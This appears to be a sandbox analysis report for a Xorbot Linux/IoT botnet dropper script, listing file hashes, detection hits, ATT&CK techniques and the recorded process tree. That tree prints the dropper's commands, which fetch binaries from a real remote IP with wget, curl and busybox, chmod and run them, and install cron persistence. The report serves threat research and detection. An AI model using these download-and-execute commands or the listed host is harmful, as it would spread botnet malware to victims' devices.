xorbot | 165aceccc598bd956badaab6838409c86c22f96b9a8fcfdaaca334e8ea522d80

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
17/01/2025, 01:42

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General

Target
bins.sh
Size 10KB
Sample250117-b4nv7synbk
SHA256 165aceccc598bd956badaab6838409c86c22f96b9a8fcfdaaca334e8ea522d80
MD5 634e6bfdf3e71005245529d265ff8cd5
SHA1 48fb4e29db9e59f41a4892b9ecf8fa65e67af541
SHA512 e4fcc1ef30e820218ecf6d065d41db3b42f20eed283bf718be3d5f7d779d3719d58e1d725261fbf8488d330b22ea7a539de2be804846296b77256a7e55acd450
SSDEEP 192:8Z0ELgVQgxY27bhxRiuPYIcszjF9ogQvDDoogQvDXr0ELgVQgiOhxRiusIcszjX:8aY27hJc0
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-6.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1732) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
845	chmod
740	chmod
834	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g	741	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
/tmp/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP	835	4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
/tmp/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck	846	SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck

Renames itself 1 IoCs

pid	Process
742	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.anqwBN	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/959/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/1017/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/851/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/900/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/921/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/4/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/9/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/860/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/763/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/823/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/898/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/998/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/1006/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/21/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/69/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/736/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/954/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/1008/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/770/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/772/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/808/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/988/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/82/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/229/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/751/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/773/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/941/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/980/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/15/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/702/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/755/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/810/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/861/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/882/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/942/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/991/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/1/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/765/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/766/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/782/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/830/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/1001/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/995/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/811/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/837/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/924/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/834/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/922/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/972/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/12/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/717/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/785/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/893/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/20/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/747/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/791/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/74/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/877/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/821/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/906/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/908/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/968/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/982/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
File opened for reading	/proc/711/cmdline	pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck	busybox
File opened for modification	/tmp/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g	wget
File opened for modification	/tmp/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g	curl
File opened for modification	/tmp/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g	busybox
File opened for modification	/tmp/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://94.154.35.94/bins/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
  2⤵
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
  2⤵
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod 777 pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
  ./pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:741
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:743
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:744
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:749
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:750
- /bin/rm
  rm pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
  2⤵
  PID:748
- /usr/bin/wget
  wget http://94.154.35.94/bins/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
  2⤵
  PID:832
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
  2⤵
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
  ./4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm 4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
  2⤵
  PID:837
- /usr/bin/wget
  wget http://94.154.35.94/bins/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
  2⤵
  PID:843
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
  2⤵
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod 777 SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
  ./SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
  2⤵
  PID:848
- /usr/bin/wget
  wget http://94.154.35.94/bins/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
  2⤵
  PID:849

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP

Path /tmp/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

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SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck

Path /tmp/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
MD5 SHA1 SHA512 SSDEEP

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pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g

Path /tmp/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

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tmp.anqwBN

Path /var/spool/cron/crontabs/tmp.anqwBN
Size 210B
SHA256 4bd919e618c0f01e6f3647b8fd194e9e8e013d7ea99e240334311a24255ef1b9
MD5 8b01698a5b002d3e3e29c4dd1de2b6d4
SHA1 9490f00d1af454db7496b137a727908c86fe5f96
SHA512 1b0b55a2345bf5ed3fe111c1bf54a72c3b3ac1a5ba3e1f1303cd6aa661dd3dd67741900f43cf06867a66e19f64750ef1f6681b493f673af24a098ca94e34a5da
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads